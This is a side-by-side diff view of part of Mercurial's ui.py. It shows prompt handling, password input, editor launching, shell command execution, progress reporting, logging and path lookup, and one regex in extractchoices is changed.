1511 | 1511 | configuration variable or - if it is unset - when `sys.stdout' points |
|
1512 | 1512 | to a terminal device. Please note that `ui.formatted' should be |
|
1513 | 1513 | considered an implementation detail; it is not intended for use outside |
|
1514 | 1514 | Mercurial or its extensions. |
|
1515 | 1515 | |
|
1516 | 1516 | This function refers to output only; for input, see `ui.interactive()'. |
|
1517 | 1517 | This function always returns false when in plain mode, see `ui.plain()'. |
|
1518 | 1518 | ''' |
|
1519 | 1519 | if self.plain(): |
|
1520 | 1520 | return False |
|
1521 | 1521 | |
|
1522 | 1522 | i = self.configbool(b"ui", b"formatted") |
|
1523 | 1523 | if i is None: |
|
1524 | 1524 | # some environments replace stdout without implementing isatty |
|
1525 | 1525 | # usually those are non-interactive |
|
1526 | 1526 | return self._isatty(self._fout) |
|
1527 | 1527 | |
|
1528 | 1528 | return i |
|
1529 | 1529 | |
|
1530 | 1530 | def _readline(self, prompt=b' ', promptopts=None): |
|
1531 | 1531 | # Replacing stdin/stdout temporarily is a hard problem on Python 3 |
|
1532 | 1532 | # because they have to be text streams with *no buffering*. Instead, |
|
1533 | 1533 | # we use rawinput() only if call_readline() will be invoked by |
|
1534 | 1534 | # PyOS_Readline(), so no I/O will be made at Python layer. |
|
1535 | 1535 | usereadline = ( |
|
1536 | 1536 | self._isatty(self._fin) |
|
1537 | 1537 | and self._isatty(self._fout) |
|
1538 | 1538 | and procutil.isstdin(self._fin) |
|
1539 | 1539 | and procutil.isstdout(self._fout) |
|
1540 | 1540 | ) |
|
1541 | 1541 | if usereadline: |
|
1542 | 1542 | try: |
|
1543 | 1543 | # magically add command line editing support, where |
|
1544 | 1544 | # available |
|
1545 | 1545 | import readline |
|
1546 | 1546 | |
|
1547 | 1547 | # force demandimport to really load the module |
|
1548 | 1548 | readline.read_history_file |
|
1549 | 1549 | # windows sometimes raises something other than ImportError |
|
1550 | 1550 | except Exception: |
|
1551 | 1551 | usereadline = False |
|
1552 | 1552 | |
|
1553 | 1553 | if self._colormode == b'win32' or not usereadline: |
|
1554 | 1554 | if not promptopts: |
|
1555 | 1555 | promptopts = {} |
|
1556 | 1556 | self._writemsgnobuf( |
|
1557 | 1557 | self._fmsgout, prompt, type=b'prompt', **promptopts |
|
1558 | 1558 | ) |
|
1559 | 1559 | self.flush() |
|
1560 | 1560 | prompt = b' ' |
|
1561 | 1561 | else: |
|
1562 | 1562 | prompt = self.label(prompt, b'ui.prompt') + b' ' |
|
1563 | 1563 | |
|
1564 | 1564 | # prompt ' ' must exist; otherwise readline may delete entire line |
|
1565 | 1565 | # - http://bugs.python.org/issue12833 |
|
1566 | 1566 | with self.timeblockedsection(b'stdio'): |
|
1567 | 1567 | if usereadline: |
|
1568 | 1568 | self.flush() |
|
1569 | 1569 | prompt = encoding.strfromlocal(prompt) |
|
1570 | 1570 | line = encoding.strtolocal(pycompat.rawinput(prompt)) |
|
1571 | 1571 | # When stdin is in binary mode on Windows, it can cause |
|
1572 | 1572 | # raw_input() to emit an extra trailing carriage return |
|
1573 | 1573 | if pycompat.oslinesep == b'\r\n' and line.endswith(b'\r'): |
|
1574 | 1574 | line = line[:-1] |
|
1575 | 1575 | else: |
|
1576 | 1576 | self._fout.write(pycompat.bytestr(prompt)) |
|
1577 | 1577 | self._fout.flush() |
|
1578 | 1578 | line = self._fin.readline() |
|
1579 | 1579 | if not line: |
|
1580 | 1580 | raise EOFError |
|
1581 | 1581 | line = line.rstrip(pycompat.oslinesep) |
|
1582 | 1582 | |
|
1583 | 1583 | return line |
|
1584 | 1584 | |
|
1585 | 1585 | def prompt(self, msg, default=b"y"): |
|
1586 | 1586 | """Prompt user with msg, read response. |
|
1587 | 1587 | If ui is not interactive, the default is returned. |
|
1588 | 1588 | """ |
|
1589 | 1589 | return self._prompt(msg, default=default) |
|
1590 | 1590 | |
|
1591 | 1591 | def _prompt(self, msg, **opts): |
|
1592 | 1592 | default = opts['default'] |
|
1593 | 1593 | if not self.interactive(): |
|
1594 | 1594 | self._writemsg(self._fmsgout, msg, b' ', type=b'prompt', **opts) |
|
1595 | 1595 | self._writemsg( |
|
1596 | 1596 | self._fmsgout, default or b'', b"\n", type=b'promptecho' |
|
1597 | 1597 | ) |
|
1598 | 1598 | return default |
|
1599 | 1599 | try: |
|
1600 | 1600 | r = self._readline(prompt=msg, promptopts=opts) |
|
1601 | 1601 | if not r: |
|
1602 | 1602 | r = default |
|
1603 | 1603 | if self.configbool(b'ui', b'promptecho'): |
|
1604 | 1604 | self._writemsg(self._fmsgout, r, b"\n", type=b'promptecho') |
|
1605 | 1605 | return r |
|
1606 | 1606 | except EOFError: |
|
1607 | 1607 | raise error.ResponseExpected() |
|
1608 | 1608 | |
|
1609 | 1609 | @staticmethod |
|
1610 | 1610 | def extractchoices(prompt): |
|
1611 | 1611 | """Extract prompt message and list of choices from specified prompt. |
|
1612 | 1612 | |
|
1613 | 1613 | This returns tuple "(message, choices)", and "choices" is the |
|
1614 | 1614 | list of tuple "(response character, text without &)". |
|
1615 | 1615 | |
|
1616 | 1616 | >>> ui.extractchoices(b"awake? $$ &Yes $$ &No") |
|
1617 | 1617 | ('awake? ', [('y', 'Yes'), ('n', 'No')]) |
|
1618 | 1618 | >>> ui.extractchoices(b"line\\nbreak? $$ &Yes $$ &No") |
|
1619 | 1619 | ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')]) |
|
1620 | 1620 | >>> ui.extractchoices(b"want lots of $$money$$?$$Ye&s$$N&o") |
|
1621 | 1621 | ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')]) |
|
1622 | 1622 | """ |
|
1623 | 1623 | |
|
1624 | 1624 | # Sadly, the prompt string may have been built with a filename |
|
1625 | 1625 | # containing "$$" so let's try to find the first valid-looking |
|
1626 | 1626 | # prompt to start parsing. Sadly, we also can't rely on |
|
1627 | 1627 | # choices containing spaces, ASCII, or basically anything |
|
1628 | 1628 | # except an ampersand followed by a character. |
|
1629 |
m = re.match(br'(?s)(.+?)\$\$([^ |
|
|
1629 | m = re.match(br'(?s)(.+?)\$\$([^$]*&[^ $].*)', prompt) | |
|
1630 | 1630 | msg = m.group(1) |
|
1631 | 1631 | choices = [p.strip(b' ') for p in m.group(2).split(b'$$')] |
|
1632 | 1632 | |
|
1633 | 1633 | def choicetuple(s): |
|
1634 | 1634 | ampidx = s.index(b'&') |
|
1635 | 1635 | return s[ampidx + 1 : ampidx + 2].lower(), s.replace(b'&', b'', 1) |
|
1636 | 1636 | |
|
1637 | 1637 | return (msg, [choicetuple(s) for s in choices]) |
|
1638 | 1638 | |
|
1639 | 1639 | def promptchoice(self, prompt, default=0): |
|
1640 | 1640 | """Prompt user with a message, read response, and ensure it matches |
|
1641 | 1641 | one of the provided choices. The prompt is formatted as follows: |
|
1642 | 1642 | |
|
1643 | 1643 | "would you like fries with that (Yn)? $$ &Yes $$ &No" |
|
1644 | 1644 | |
|
1645 | 1645 | The index of the choice is returned. Responses are case |
|
1646 | 1646 | insensitive. If ui is not interactive, the default is |
|
1647 | 1647 | returned. |
|
1648 | 1648 | """ |
|
1649 | 1649 | |
|
1650 | 1650 | msg, choices = self.extractchoices(prompt) |
|
1651 | 1651 | resps = [r for r, t in choices] |
|
1652 | 1652 | while True: |
|
1653 | 1653 | r = self._prompt(msg, default=resps[default], choices=choices) |
|
1654 | 1654 | if r.lower() in resps: |
|
1655 | 1655 | return resps.index(r.lower()) |
|
1656 | 1656 | # TODO: shouldn't it be a warning? |
|
1657 | 1657 | self._writemsg(self._fmsgout, _(b"unrecognized response\n")) |
|
1658 | 1658 | |
|
1659 | 1659 | def getpass(self, prompt=None, default=None): |
|
1660 | 1660 | if not self.interactive(): |
|
1661 | 1661 | return default |
|
1662 | 1662 | try: |
|
1663 | 1663 | self._writemsg( |
|
1664 | 1664 | self._fmsgerr, |
|
1665 | 1665 | prompt or _(b'password: '), |
|
1666 | 1666 | type=b'prompt', |
|
1667 | 1667 | password=True, |
|
1668 | 1668 | ) |
|
1669 | 1669 | # disable getpass() only if explicitly specified. it's still valid |
|
1670 | 1670 | # to interact with tty even if fin is not a tty. |
|
1671 | 1671 | with self.timeblockedsection(b'stdio'): |
|
1672 | 1672 | if self.configbool(b'ui', b'nontty'): |
|
1673 | 1673 | l = self._fin.readline() |
|
1674 | 1674 | if not l: |
|
1675 | 1675 | raise EOFError |
|
1676 | 1676 | return l.rstrip(b'\n') |
|
1677 | 1677 | else: |
|
1678 | 1678 | return getpass.getpass('') |
|
1679 | 1679 | except EOFError: |
|
1680 | 1680 | raise error.ResponseExpected() |
|
1681 | 1681 | |
|
1682 | 1682 | def status(self, *msg, **opts): |
|
1683 | 1683 | '''write status message to output (if ui.quiet is False) |
|
1684 | 1684 | |
|
1685 | 1685 | This adds an output label of "ui.status". |
|
1686 | 1686 | ''' |
|
1687 | 1687 | if not self.quiet: |
|
1688 | 1688 | self._writemsg(self._fmsgout, type=b'status', *msg, **opts) |
|
1689 | 1689 | |
|
1690 | 1690 | def warn(self, *msg, **opts): |
|
1691 | 1691 | '''write warning message to output (stderr) |
|
1692 | 1692 | |
|
1693 | 1693 | This adds an output label of "ui.warning". |
|
1694 | 1694 | ''' |
|
1695 | 1695 | self._writemsg(self._fmsgerr, type=b'warning', *msg, **opts) |
|
1696 | 1696 | |
|
1697 | 1697 | def error(self, *msg, **opts): |
|
1698 | 1698 | '''write error message to output (stderr) |
|
1699 | 1699 | |
|
1700 | 1700 | This adds an output label of "ui.error". |
|
1701 | 1701 | ''' |
|
1702 | 1702 | self._writemsg(self._fmsgerr, type=b'error', *msg, **opts) |
|
1703 | 1703 | |
|
1704 | 1704 | def note(self, *msg, **opts): |
|
1705 | 1705 | '''write note to output (if ui.verbose is True) |
|
1706 | 1706 | |
|
1707 | 1707 | This adds an output label of "ui.note". |
|
1708 | 1708 | ''' |
|
1709 | 1709 | if self.verbose: |
|
1710 | 1710 | self._writemsg(self._fmsgout, type=b'note', *msg, **opts) |
|
1711 | 1711 | |
|
1712 | 1712 | def debug(self, *msg, **opts): |
|
1713 | 1713 | '''write debug message to output (if ui.debugflag is True) |
|
1714 | 1714 | |
|
1715 | 1715 | This adds an output label of "ui.debug". |
|
1716 | 1716 | ''' |
|
1717 | 1717 | if self.debugflag: |
|
1718 | 1718 | self._writemsg(self._fmsgout, type=b'debug', *msg, **opts) |
|
1719 | 1719 | self.log(b'debug', b'%s', b''.join(msg)) |
|
1720 | 1720 | |
|
1721 | 1721 | # Aliases to defeat check-code. |
|
1722 | 1722 | statusnoi18n = status |
|
1723 | 1723 | notenoi18n = note |
|
1724 | 1724 | warnnoi18n = warn |
|
1725 | 1725 | writenoi18n = write |
|
1726 | 1726 | |
|
1727 | 1727 | def edit( |
|
1728 | 1728 | self, |
|
1729 | 1729 | text, |
|
1730 | 1730 | user, |
|
1731 | 1731 | extra=None, |
|
1732 | 1732 | editform=None, |
|
1733 | 1733 | pending=None, |
|
1734 | 1734 | repopath=None, |
|
1735 | 1735 | action=None, |
|
1736 | 1736 | ): |
|
1737 | 1737 | if action is None: |
|
1738 | 1738 | self.develwarn( |
|
1739 | 1739 | b'action is None but will soon be a required ' |
|
1740 | 1740 | b'parameter to ui.edit()' |
|
1741 | 1741 | ) |
|
1742 | 1742 | extra_defaults = { |
|
1743 | 1743 | b'prefix': b'editor', |
|
1744 | 1744 | b'suffix': b'.txt', |
|
1745 | 1745 | } |
|
1746 | 1746 | if extra is not None: |
|
1747 | 1747 | if extra.get(b'suffix') is not None: |
|
1748 | 1748 | self.develwarn( |
|
1749 | 1749 | b'extra.suffix is not None but will soon be ' |
|
1750 | 1750 | b'ignored by ui.edit()' |
|
1751 | 1751 | ) |
|
1752 | 1752 | extra_defaults.update(extra) |
|
1753 | 1753 | extra = extra_defaults |
|
1754 | 1754 | |
|
1755 | 1755 | if action == b'diff': |
|
1756 | 1756 | suffix = b'.diff' |
|
1757 | 1757 | elif action: |
|
1758 | 1758 | suffix = b'.%s.hg.txt' % action |
|
1759 | 1759 | else: |
|
1760 | 1760 | suffix = extra[b'suffix'] |
|
1761 | 1761 | |
|
1762 | 1762 | rdir = None |
|
1763 | 1763 | if self.configbool(b'experimental', b'editortmpinhg'): |
|
1764 | 1764 | rdir = repopath |
|
1765 | 1765 | (fd, name) = pycompat.mkstemp( |
|
1766 | 1766 | prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir |
|
1767 | 1767 | ) |
|
1768 | 1768 | try: |
|
1769 | 1769 | with os.fdopen(fd, 'wb') as f: |
|
1770 | 1770 | f.write(util.tonativeeol(text)) |
|
1771 | 1771 | |
|
1772 | 1772 | environ = {b'HGUSER': user} |
|
1773 | 1773 | if b'transplant_source' in extra: |
|
1774 | 1774 | environ.update( |
|
1775 | 1775 | {b'HGREVISION': hex(extra[b'transplant_source'])} |
|
1776 | 1776 | ) |
|
1777 | 1777 | for label in (b'intermediate-source', b'source', b'rebase_source'): |
|
1778 | 1778 | if label in extra: |
|
1779 | 1779 | environ.update({b'HGREVISION': extra[label]}) |
|
1780 | 1780 | break |
|
1781 | 1781 | if editform: |
|
1782 | 1782 | environ.update({b'HGEDITFORM': editform}) |
|
1783 | 1783 | if pending: |
|
1784 | 1784 | environ.update({b'HG_PENDING': pending}) |
|
1785 | 1785 | |
|
1786 | 1786 | editor = self.geteditor() |
|
1787 | 1787 | |
|
1788 | 1788 | self.system( |
|
1789 | 1789 | b"%s \"%s\"" % (editor, name), |
|
1790 | 1790 | environ=environ, |
|
1791 | 1791 | onerr=error.Abort, |
|
1792 | 1792 | errprefix=_(b"edit failed"), |
|
1793 | 1793 | blockedtag=b'editor', |
|
1794 | 1794 | ) |
|
1795 | 1795 | |
|
1796 | 1796 | with open(name, 'rb') as f: |
|
1797 | 1797 | t = util.fromnativeeol(f.read()) |
|
1798 | 1798 | finally: |
|
1799 | 1799 | os.unlink(name) |
|
1800 | 1800 | |
|
1801 | 1801 | return t |
|
1802 | 1802 | |
|
1803 | 1803 | def system( |
|
1804 | 1804 | self, |
|
1805 | 1805 | cmd, |
|
1806 | 1806 | environ=None, |
|
1807 | 1807 | cwd=None, |
|
1808 | 1808 | onerr=None, |
|
1809 | 1809 | errprefix=None, |
|
1810 | 1810 | blockedtag=None, |
|
1811 | 1811 | ): |
|
1812 | 1812 | '''execute shell command with appropriate output stream. command |
|
1813 | 1813 | output will be redirected if fout is not stdout. |
|
1814 | 1814 | |
|
1815 | 1815 | if command fails and onerr is None, return status, else raise onerr |
|
1816 | 1816 | object as exception. |
|
1817 | 1817 | ''' |
|
1818 | 1818 | if blockedtag is None: |
|
1819 | 1819 | # Long cmds tend to be because of an absolute path on cmd. Keep |
|
1820 | 1820 | # the tail end instead |
|
1821 | 1821 | cmdsuffix = cmd.translate(None, _keepalnum)[-85:] |
|
1822 | 1822 | blockedtag = b'unknown_system_' + cmdsuffix |
|
1823 | 1823 | out = self._fout |
|
1824 | 1824 | if any(s[1] for s in self._bufferstates): |
|
1825 | 1825 | out = self |
|
1826 | 1826 | with self.timeblockedsection(blockedtag): |
|
1827 | 1827 | rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out) |
|
1828 | 1828 | if rc and onerr: |
|
1829 | 1829 | errmsg = b'%s %s' % ( |
|
1830 | 1830 | os.path.basename(cmd.split(None, 1)[0]), |
|
1831 | 1831 | procutil.explainexit(rc), |
|
1832 | 1832 | ) |
|
1833 | 1833 | if errprefix: |
|
1834 | 1834 | errmsg = b'%s: %s' % (errprefix, errmsg) |
|
1835 | 1835 | raise onerr(errmsg) |
|
1836 | 1836 | return rc |
|
1837 | 1837 | |
|
1838 | 1838 | def _runsystem(self, cmd, environ, cwd, out): |
|
1839 | 1839 | """actually execute the given shell command (can be overridden by |
|
1840 | 1840 | extensions like chg)""" |
|
1841 | 1841 | return procutil.system(cmd, environ=environ, cwd=cwd, out=out) |
|
1842 | 1842 | |
|
1843 | 1843 | def traceback(self, exc=None, force=False): |
|
1844 | 1844 | '''print exception traceback if traceback printing enabled or forced. |
|
1845 | 1845 | only to call in exception handler. returns true if traceback |
|
1846 | 1846 | printed.''' |
|
1847 | 1847 | if self.tracebackflag or force: |
|
1848 | 1848 | if exc is None: |
|
1849 | 1849 | exc = sys.exc_info() |
|
1850 | 1850 | cause = getattr(exc[1], 'cause', None) |
|
1851 | 1851 | |
|
1852 | 1852 | if cause is not None: |
|
1853 | 1853 | causetb = traceback.format_tb(cause[2]) |
|
1854 | 1854 | exctb = traceback.format_tb(exc[2]) |
|
1855 | 1855 | exconly = traceback.format_exception_only(cause[0], cause[1]) |
|
1856 | 1856 | |
|
1857 | 1857 | # exclude frame where 'exc' was chained and rethrown from exctb |
|
1858 | 1858 | self.write_err( |
|
1859 | 1859 | b'Traceback (most recent call last):\n', |
|
1860 | 1860 | encoding.strtolocal(''.join(exctb[:-1])), |
|
1861 | 1861 | encoding.strtolocal(''.join(causetb)), |
|
1862 | 1862 | encoding.strtolocal(''.join(exconly)), |
|
1863 | 1863 | ) |
|
1864 | 1864 | else: |
|
1865 | 1865 | output = traceback.format_exception(exc[0], exc[1], exc[2]) |
|
1866 | 1866 | self.write_err(encoding.strtolocal(''.join(output))) |
|
1867 | 1867 | return self.tracebackflag or force |
|
1868 | 1868 | |
|
1869 | 1869 | def geteditor(self): |
|
1870 | 1870 | '''return editor to use''' |
|
1871 | 1871 | if pycompat.sysplatform == b'plan9': |
|
1872 | 1872 | # vi is the MIPS instruction simulator on Plan 9. We |
|
1873 | 1873 | # instead default to E to plumb commit messages to |
|
1874 | 1874 | # avoid confusion. |
|
1875 | 1875 | editor = b'E' |
|
1876 | 1876 | else: |
|
1877 | 1877 | editor = b'vi' |
|
1878 | 1878 | return encoding.environ.get(b"HGEDITOR") or self.config( |
|
1879 | 1879 | b"ui", b"editor", editor |
|
1880 | 1880 | ) |
|
1881 | 1881 | |
|
1882 | 1882 | @util.propertycache |
|
1883 | 1883 | def _progbar(self): |
|
1884 | 1884 | """setup the progbar singleton to the ui object""" |
|
1885 | 1885 | if ( |
|
1886 | 1886 | self.quiet |
|
1887 | 1887 | or self.debugflag |
|
1888 | 1888 | or self.configbool(b'progress', b'disable') |
|
1889 | 1889 | or not progress.shouldprint(self) |
|
1890 | 1890 | ): |
|
1891 | 1891 | return None |
|
1892 | 1892 | return getprogbar(self) |
|
1893 | 1893 | |
|
1894 | 1894 | def _progclear(self): |
|
1895 | 1895 | """clear progress bar output if any. use it before any output""" |
|
1896 | 1896 | if not haveprogbar(): # nothing loaded yet |
|
1897 | 1897 | return |
|
1898 | 1898 | if self._progbar is not None and self._progbar.printed: |
|
1899 | 1899 | self._progbar.clear() |
|
1900 | 1900 | |
|
1901 | 1901 | def progress(self, topic, pos, item=b"", unit=b"", total=None): |
|
1902 | 1902 | '''show a progress message |
|
1903 | 1903 | |
|
1904 | 1904 | By default a textual progress bar will be displayed if an operation |
|
1905 | 1905 | takes too long. 'topic' is the current operation, 'item' is a |
|
1906 | 1906 | non-numeric marker of the current position (i.e. the currently |
|
1907 | 1907 | in-process file), 'pos' is the current numeric position (i.e. |
|
1908 | 1908 | revision, bytes, etc.), unit is a corresponding unit label, |
|
1909 | 1909 | and total is the highest expected pos. |
|
1910 | 1910 | |
|
1911 | 1911 | Multiple nested topics may be active at a time. |
|
1912 | 1912 | |
|
1913 | 1913 | All topics should be marked closed by setting pos to None at |
|
1914 | 1914 | termination. |
|
1915 | 1915 | ''' |
|
1916 | 1916 | self.deprecwarn( |
|
1917 | 1917 | b"use ui.makeprogress() instead of ui.progress()", b"5.1" |
|
1918 | 1918 | ) |
|
1919 | 1919 | progress = self.makeprogress(topic, unit, total) |
|
1920 | 1920 | if pos is not None: |
|
1921 | 1921 | progress.update(pos, item=item) |
|
1922 | 1922 | else: |
|
1923 | 1923 | progress.complete() |
|
1924 | 1924 | |
|
1925 | 1925 | def makeprogress(self, topic, unit=b"", total=None): |
|
1926 | 1926 | """Create a progress helper for the specified topic""" |
|
1927 | 1927 | if getattr(self._fmsgerr, 'structured', False): |
|
1928 | 1928 | # channel for machine-readable output with metadata, just send |
|
1929 | 1929 | # raw information |
|
1930 | 1930 | # TODO: consider porting some useful information (e.g. estimated |
|
1931 | 1931 | # time) from progbar. we might want to support update delay to |
|
1932 | 1932 | # reduce the cost of transferring progress messages. |
|
1933 | 1933 | def updatebar(topic, pos, item, unit, total): |
|
1934 | 1934 | self._fmsgerr.write( |
|
1935 | 1935 | None, |
|
1936 | 1936 | type=b'progress', |
|
1937 | 1937 | topic=topic, |
|
1938 | 1938 | pos=pos, |
|
1939 | 1939 | item=item, |
|
1940 | 1940 | unit=unit, |
|
1941 | 1941 | total=total, |
|
1942 | 1942 | ) |
|
1943 | 1943 | |
|
1944 | 1944 | elif self._progbar is not None: |
|
1945 | 1945 | updatebar = self._progbar.progress |
|
1946 | 1946 | else: |
|
1947 | 1947 | |
|
1948 | 1948 | def updatebar(topic, pos, item, unit, total): |
|
1949 | 1949 | pass |
|
1950 | 1950 | |
|
1951 | 1951 | return scmutil.progress(self, updatebar, topic, unit, total) |
|
1952 | 1952 | |
|
1953 | 1953 | def getlogger(self, name): |
|
1954 | 1954 | """Returns a logger of the given name; or None if not registered""" |
|
1955 | 1955 | return self._loggers.get(name) |
|
1956 | 1956 | |
|
1957 | 1957 | def setlogger(self, name, logger): |
|
1958 | 1958 | """Install logger which can be identified later by the given name |
|
1959 | 1959 | |
|
1960 | 1960 | More than one loggers can be registered. Use extension or module |
|
1961 | 1961 | name to uniquely identify the logger instance. |
|
1962 | 1962 | """ |
|
1963 | 1963 | self._loggers[name] = logger |
|
1964 | 1964 | |
|
1965 | 1965 | def log(self, event, msgfmt, *msgargs, **opts): |
|
1966 | 1966 | '''hook for logging facility extensions |
|
1967 | 1967 | |
|
1968 | 1968 | event should be a readily-identifiable subsystem, which will |
|
1969 | 1969 | allow filtering. |
|
1970 | 1970 | |
|
1971 | 1971 | msgfmt should be a newline-terminated format string to log, and |
|
1972 | 1972 | *msgargs are %-formatted into it. |
|
1973 | 1973 | |
|
1974 | 1974 | **opts currently has no defined meanings. |
|
1975 | 1975 | ''' |
|
1976 | 1976 | if not self._loggers: |
|
1977 | 1977 | return |
|
1978 | 1978 | activeloggers = [ |
|
1979 | 1979 | l for l in pycompat.itervalues(self._loggers) if l.tracked(event) |
|
1980 | 1980 | ] |
|
1981 | 1981 | if not activeloggers: |
|
1982 | 1982 | return |
|
1983 | 1983 | msg = msgfmt % msgargs |
|
1984 | 1984 | opts = pycompat.byteskwargs(opts) |
|
1985 | 1985 | # guard against recursion from e.g. ui.debug() |
|
1986 | 1986 | registeredloggers = self._loggers |
|
1987 | 1987 | self._loggers = {} |
|
1988 | 1988 | try: |
|
1989 | 1989 | for logger in activeloggers: |
|
1990 | 1990 | logger.log(self, event, msg, opts) |
|
1991 | 1991 | finally: |
|
1992 | 1992 | self._loggers = registeredloggers |
|
1993 | 1993 | |
|
1994 | 1994 | def label(self, msg, label): |
|
1995 | 1995 | '''style msg based on supplied label |
|
1996 | 1996 | |
|
1997 | 1997 | If some color mode is enabled, this will add the necessary control |
|
1998 | 1998 | characters to apply such color. In addition, 'debug' color mode adds |
|
1999 | 1999 | markup showing which label affects a piece of text. |
|
2000 | 2000 | |
|
2001 | 2001 | ui.write(s, 'label') is equivalent to |
|
2002 | 2002 | ui.write(ui.label(s, 'label')). |
|
2003 | 2003 | ''' |
|
2004 | 2004 | if self._colormode is not None: |
|
2005 | 2005 | return color.colorlabel(self, msg, label) |
|
2006 | 2006 | return msg |
|
2007 | 2007 | |
|
2008 | 2008 | def develwarn(self, msg, stacklevel=1, config=None): |
|
2009 | 2009 | """issue a developer warning message |
|
2010 | 2010 | |
|
2011 | 2011 | Use 'stacklevel' to report the offender some layers further up in the |
|
2012 | 2012 | stack. |
|
2013 | 2013 | """ |
|
2014 | 2014 | if not self.configbool(b'devel', b'all-warnings'): |
|
2015 | 2015 | if config is None or not self.configbool(b'devel', config): |
|
2016 | 2016 | return |
|
2017 | 2017 | msg = b'devel-warn: ' + msg |
|
2018 | 2018 | stacklevel += 1 # get in develwarn |
|
2019 | 2019 | if self.tracebackflag: |
|
2020 | 2020 | util.debugstacktrace(msg, stacklevel, self._ferr, self._fout) |
|
2021 | 2021 | self.log( |
|
2022 | 2022 | b'develwarn', |
|
2023 | 2023 | b'%s at:\n%s' |
|
2024 | 2024 | % (msg, b''.join(util.getstackframes(stacklevel))), |
|
2025 | 2025 | ) |
|
2026 | 2026 | else: |
|
2027 | 2027 | curframe = inspect.currentframe() |
|
2028 | 2028 | calframe = inspect.getouterframes(curframe, 2) |
|
2029 | 2029 | fname, lineno, fmsg = calframe[stacklevel][1:4] |
|
2030 | 2030 | fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg) |
|
2031 | 2031 | self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg)) |
|
2032 | 2032 | self.log( |
|
2033 | 2033 | b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg |
|
2034 | 2034 | ) |
|
2035 | 2035 | |
|
2036 | 2036 | # avoid cycles |
|
2037 | 2037 | del curframe |
|
2038 | 2038 | del calframe |
|
2039 | 2039 | |
|
2040 | 2040 | def deprecwarn(self, msg, version, stacklevel=2): |
|
2041 | 2041 | """issue a deprecation warning |
|
2042 | 2042 | |
|
2043 | 2043 | - msg: message explaining what is deprecated and how to upgrade, |
|
2044 | 2044 | - version: last version where the API will be supported, |
|
2045 | 2045 | """ |
|
2046 | 2046 | if not ( |
|
2047 | 2047 | self.configbool(b'devel', b'all-warnings') |
|
2048 | 2048 | or self.configbool(b'devel', b'deprec-warn') |
|
2049 | 2049 | ): |
|
2050 | 2050 | return |
|
2051 | 2051 | msg += ( |
|
2052 | 2052 | b"\n(compatibility will be dropped after Mercurial-%s," |
|
2053 | 2053 | b" update your code.)" |
|
2054 | 2054 | ) % version |
|
2055 | 2055 | self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn') |
|
2056 | 2056 | |
|
2057 | 2057 | def exportableenviron(self): |
|
2058 | 2058 | """The environment variables that are safe to export, e.g. through |
|
2059 | 2059 | hgweb. |
|
2060 | 2060 | """ |
|
2061 | 2061 | return self._exportableenviron |
|
2062 | 2062 | |
|
2063 | 2063 | @contextlib.contextmanager |
|
2064 | 2064 | def configoverride(self, overrides, source=b""): |
|
2065 | 2065 | """Context manager for temporary config overrides |
|
2066 | 2066 | `overrides` must be a dict of the following structure: |
|
2067 | 2067 | {(section, name) : value}""" |
|
2068 | 2068 | backups = {} |
|
2069 | 2069 | try: |
|
2070 | 2070 | for (section, name), value in overrides.items(): |
|
2071 | 2071 | backups[(section, name)] = self.backupconfig(section, name) |
|
2072 | 2072 | self.setconfig(section, name, value, source) |
|
2073 | 2073 | yield |
|
2074 | 2074 | finally: |
|
2075 | 2075 | for __, backup in backups.items(): |
|
2076 | 2076 | self.restoreconfig(backup) |
|
2077 | 2077 | # just restoring ui.quiet config to the previous value is not enough |
|
2078 | 2078 | # as it does not update ui.quiet class member |
|
2079 | 2079 | if (b'ui', b'quiet') in overrides: |
|
2080 | 2080 | self.fixconfig(section=b'ui') |
|
2081 | 2081 | |
|
2082 | 2082 | |
|
2083 | 2083 | class paths(dict): |
|
2084 | 2084 | """Represents a collection of paths and their configs. |
|
2085 | 2085 | |
|
2086 | 2086 | Data is initially derived from ui instances and the config files they have |
|
2087 | 2087 | loaded. |
|
2088 | 2088 | """ |
|
2089 | 2089 | |
|
2090 | 2090 | def __init__(self, ui): |
|
2091 | 2091 | dict.__init__(self) |
|
2092 | 2092 | |
|
2093 | 2093 | for name, loc in ui.configitems(b'paths', ignoresub=True): |
|
2094 | 2094 | # No location is the same as not existing. |
|
2095 | 2095 | if not loc: |
|
2096 | 2096 | continue |
|
2097 | 2097 | loc, sub = ui.configsuboptions(b'paths', name) |
|
2098 | 2098 | self[name] = path(ui, name, rawloc=loc, suboptions=sub) |
|
2099 | 2099 | |
|
2100 | 2100 | def getpath(self, name, default=None): |
|
2101 | 2101 | """Return a ``path`` from a string, falling back to default. |
|
2102 | 2102 | |
|
2103 | 2103 | ``name`` can be a named path or locations. Locations are filesystem |
|
2104 | 2104 | paths or URIs. |
|
2105 | 2105 | |
|
2106 | 2106 | Returns None if ``name`` is not a registered path, a URI, or a local |
|
2107 | 2107 | path to a repo. |
|
2108 | 2108 | """ |
|
2109 | 2109 | # Only fall back to default if no path was requested. |
|
2110 | 2110 | if name is None: |
|
2111 | 2111 | if not default: |
|
2112 | 2112 | default = () |
|
2113 | 2113 | elif not isinstance(default, (tuple, list)): |
|
2114 | 2114 | default = (default,) |
|
2115 | 2115 | for k in default: |
|
2116 | 2116 | try: |
|
2117 | 2117 | return self[k] |
|
2118 | 2118 | except KeyError: |
|
2119 | 2119 | continue |
|
2120 | 2120 | return None |
|
2121 | 2121 | |
|
2122 | 2122 | # Most likely empty string. |
|
2123 | 2123 | # This may need to raise in the future. |
|
2124 | 2124 | if not name: |
|
2125 | 2125 | return None |
|
2126 | 2126 | |
|
2127 | 2127 | try: |
|
2128 | 2128 | return self[name] |
|
2129 | 2129 | except KeyError: |
|
2130 | 2130 | # Try to resolve as a local path or URI. |
|
2131 | 2131 | try: |
|
2132 | 2132 | # We don't pass sub-options in, so no need to pass ui instance. |
|
2133 | 2133 | return path(None, None, rawloc=name) |
|
2134 | 2134 | except ValueError: |
|
2135 | 2135 | raise error.RepoError(_(b'repository %s does not exist') % name) |
|
2136 | 2136 | |
|
2137 | 2137 | |
|
2138 | 2138 | _pathsuboptions = {} |
|
2139 | 2139 | |
|
2140 | 2140 | |
|
2141 | 2141 | def pathsuboption(option, attr): |
|
